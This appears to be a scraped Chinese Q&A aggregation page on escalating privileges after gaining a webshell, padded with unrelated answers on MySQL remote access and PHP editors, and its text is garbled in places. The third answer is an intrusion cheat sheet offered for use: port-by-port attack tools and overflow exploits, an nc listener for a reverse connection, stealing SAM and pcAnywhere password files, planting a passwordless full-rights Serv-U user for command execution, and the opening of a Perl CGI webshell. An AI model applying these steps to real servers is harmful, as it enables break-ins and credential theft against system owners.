❶ webshell怎麼提權，aspx php的也行。
sa密碼了拆橋，還有各種提權工具了（游御行看運氣了，一般補丁沒打就可以），goodluck, webshell上自帶的就不神嘩說了，
❷ php大馬是干什麼的
大馬：指木馬病毒；
php大馬，就是php寫的提取站點許可權的程序；因為帶有提權或者修改站點功能，所以稱為叫木馬；
❸ 如何找漏洞，又怎樣利用它提權
1. 1433埠入侵 scanport.exe 查有1433的機枝洞告器 SQLScanPass.exe 進行字典暴破（字典是關鍵） 最後 SQLTools.exe入侵 對sql的sp2及以下的系統，可用sql的hello 溢出漏洞入侵。 nc -vv -l -p 本機埠 sqlhelloF.exe 入侵ip 1433 本機ip 本機埠 （以上反向的，測試成功） sqlhelloz.exe 入侵ip 1433 （這個是正向連接） 2. 4899埠入侵 用4899過濾器.exe，掃描空口令的機器 3. 3899的入侵 對很早的機器，可以試試3389的溢出(win3389ex.exe) 對2000的機器，可以試試字典暴破。(tscrack.exe) 4. 80入侵 對sp3以前的機器，可以用webdav入侵； 對bbs論壇，可以試試上傳漏洞（upfile.exe或dvup_delphi.exe） 可以利用SQL進行注入。（啊D的注入軟體）。 5. serv-u入侵(21埠） 對5. 004及以下系統，可用溢出入侵。（serv5004.exe） 對5.1.0.0及以下系統，可用本地提升許可權。（servlocal.exe） 對serv-u的MD5加密密碼，可以用字典暴破。（crack.vbs） 輸入一個被serv-u加密的密碼（34位長），通過與字典檔（dict.txt）的比較，得到密碼 6. 554埠 用real554.exe入侵。 7. 6129埠 用DameWare6129.exe入侵。 8. 系統漏洞 利用135、445埠，用ms03026、ms03039、ms03049、ms04011漏洞， 進行溢出入侵。 9. 3127等埠 可以利用doom病毒開的埠，用nodoom.exe入侵。（可用mydoomscan.exe查）。 10. 其他入侵 利用shanlu的入侵軟體入侵（WINNTAutoAttack.exe）。 經典IPC$入侵 本篇文章結合了許多高手提升許可權的技顫譽巧和自己的一些想法 當我們取得一個webshell時候，下一部要做的就是提升許可權 個人總結如下： 1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 看能否跳轉到這個目錄，如果行那就最好了，直接下它的CIF文件，得到pcAnywhere密碼，登陸 2.C:\WINNT\system32\config\ 進這里下它的SAM，破解用戶的密猛明碼 用到破解sam密碼的軟體有LC，SAMinside 3.C:\Documents and Settings\All Users\「開始」菜單\程序\ 看這里能跳轉不，我們從這里可以獲取好多有用的信息 可以看見好多快捷方式，我們一般選擇Serv-U的，然後本地查看屬性，知道路徑後，看能否跳轉 進去後，如果有許可權修改ServUDaemon.ini，加個用戶上去，密碼為空 [USER=WekweN|1] Password= HomeDir=c:\ TimeOut=600 Maintenance=System Access1=C:\|RWAMELCDP Access1=d:\|RWAMELCDP Access1=f:\|RWAMELCDP SKEYValues= 這個用戶具有最高許可權，然後我們就可以ftp上去 quote site exec xxx 來提升許可權 4.c:\winnt\system32\inetsrv\data\ 就是這個目錄，同樣是erveryone 完全控制，我們所要做的就是把提升許可權的工具上傳上去，然後執行 5.看能否跳轉到如下目錄 c:\php, 用phpspy c:\prel，有時候不一定是這個目錄(同樣可以通過下載快捷方式看屬性獲知)用cgi的webshell #!/usr/bin/perl binmode(STDOUT); syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27); $_ = $ENV{QUERY_STRING}; s/%20/ /ig; s/%2f
❹ PHP 環境，不支持asp腳本，怎麼提權呢別復制粘帖
交流一下Q在 81 471 969
❺ php提權能控制整個主機嗎，如同從本機登陸遠程3389主機
2/4分步閱讀
遠程連接伺服器之前首先需要把基本的准備工作做好，比如首先在伺服器創建一個新的網站，並把相應的網站內容上傳好。
我這里以wdcp linux伺服器為例子，如下圖所示創建一個新的網站
2/3
通過flashfxp等軟體將網站上傳至伺服器
3/3
進入phpmyadmin，導入sql文件
連接遠程資料庫
1/4
選擇該資料庫，然後點擊許可權，可以看到如下圖所示，然後點擊下方添加新用戶
2/4
然後輸入新用戶信息：
1、輸入用戶名
2、主機：選擇任意主機，然後輸入 %
（開啟mysql本身的遠程連接,簡單說,就是在創建mysql用戶時的主機名,使用IP,域名,或%號就可以,"%"代表所有,也就是任何人和機器都可以連接,只要有用戶密碼,也可以針對IP,域名來做限制）
3、生成密碼
4、全局許可權：全選
5、最後執行
3/4
通過以上步驟就生成了一個可以遠程訪問的資料庫，然後通過更改網站配置文件，php文件配置路徑如下圖，選擇database.php，然後打開文件
❻ WEBSHELL怎麼提權
上傳本地提權工具
❼ 昌平北大青鳥分享PHP常用開發工具
PHP是一種開舉正放性的語言，這也導致了正滑悔開發環境沒有強而權威的支持。這里列舉一些比較好的編輯工具，昌平北大青鳥希望能給大家開發PHP程序提供一些幫助。
Dreamweer
從MX開始，DW開始支持PHP+MYSQL的可視化開發，對於初學者確實是比較好的選擇，因為如果是一般性開發，幾乎是可以不寫一行代碼也讓悶可以寫出一個程序，而且都是所見即所得的。
所包含的特徵包括，語法加亮、函數補全，形參提示等。
不過DW生成的代碼比較復雜，安全性也一般。在手寫的方面，方便度一般，在調試環境方面表現差強人意。不太適合於比較復雜一點的編程。但對於初學的人是再好不過了。
ZendDevelopmentEnviorment
和PHP靠得最近的ZEND推出的一款PHP的IDE，ZENDDEVELOPMENTENVIORMENT。最新的版本為2.6，這也是在LINUX下面唯一一個PHP的集成開發調試環境了，當然它也有WINDOWS版本。
和其它的IDE不同，ZDE是用編寫的～～這不光意味著多平台性，同樣意味著很慢的速度，和比較奇怪一點的使用界面。尤其是它那將近半分鍾的啟動速度，讓人無法忍受!!!!!
ZDE提供的功能是最齊全的，而且可以和ZEND其它的PHP開發工具無縫的結合。成為一套強大的PHP開發環境，而且ZDE的調試環境是建在ZDE自身程序裡面的，而不象其它的IDE，是通過PHPDEBUGER來實現的。
❽ PHP開發通常使用什麼工具
PHP 能做任何事。PHP 主要是用於服務端的腳本程序，因此您可以用 PHP 來完成任何其它的 CGI 程序能夠完成的工作，例如收集表單數據，生成動態網頁，或者發送/接收 Cookies。但 PHP 的功能遠不局限於此。
PHP 腳本主要用於以下三個領域。
服務端腳本。這是 PHP 最傳統，也是最主要的目標領域。開展這項工作您需要具備以下三點：PHP 解析器（CGI 或者伺服器模塊）、WEB 伺服器和 WEB 瀏覽器。您需要在運行 WEB 伺服器時，安裝並配置 PHP，然後，可以用 WEB 瀏覽器來訪問 PHP 程序的輸出，即瀏覽服務端的 PHP 頁面。請查閱「安裝」一章以獲取更多信息。
命令行腳本。您可以編寫一段 PHP 腳本，並且不需要任何伺服器或者瀏覽器來運行它。通過這種方式，您僅僅只需要 PHP 解析器來執行。這種用法對於依賴 cron（Unix 或者 Linux 環境）或者 Task Scheler（Windows 環境）的日常運行的腳本來說是理想的選擇。這些腳本也可以用來處理簡單的文本。請參閱「PHP 的命令行模式」以獲取更多信息。
編寫客戶端的 GUI 應用程序。對於基於窗口式的應用程序來說，PHP 或許不是一種最好的語言，但是如果您非常精通 PHP，並且希望在您的客戶端應用程序中使用 PHP 的一些高級特性，您可以利用 PHP-GTK 來編寫這些程序。用這種方法，您還可以編寫跨平台的應用程序。PHP-GTK 是 PHP 的一個擴展，在通常發布的 PHP 包中並不包含它。如果您對 PHP-GTK 感興趣，請訪問其網站以獲取更多信息。
❾ PHP開發通常使用什麼工具
AdobeDreamweaver、EditPlus、ZendStudio都是很好的工具。輕量級用EditPlus，偏重前端設計用Dreamweaver，偏重程序開發用ZendStudio吧！
集成開發環境是一種集成了軟體開發過程中所需主要工具的集成開發環境，其功能包括但不僅限於代碼高亮、代碼補全、調試、構建、版本控制等。一些常見的PHPIDEs如下：
ZendStudio：商業版，Zend官方出品，基於eclipse
EclipsewithPDT：免費
Coda：商業版，針對Mac用戶
NetBeans：免費，功能強大
PHPStorm：商業版
AptanaStudio：免費
PhpEd：商業版
KomodoIDE/Edit：IDE為商業版，Edit可免費使用
AdobeDreamweaver：商業版
除去集成開發環境，具備代碼高亮功能的常見文本編輯器因其輕巧靈活也常被選作開發工具，例如：Notepad++、Editplus、SublimeText、Everedit（國人開發）等等。(來自網路)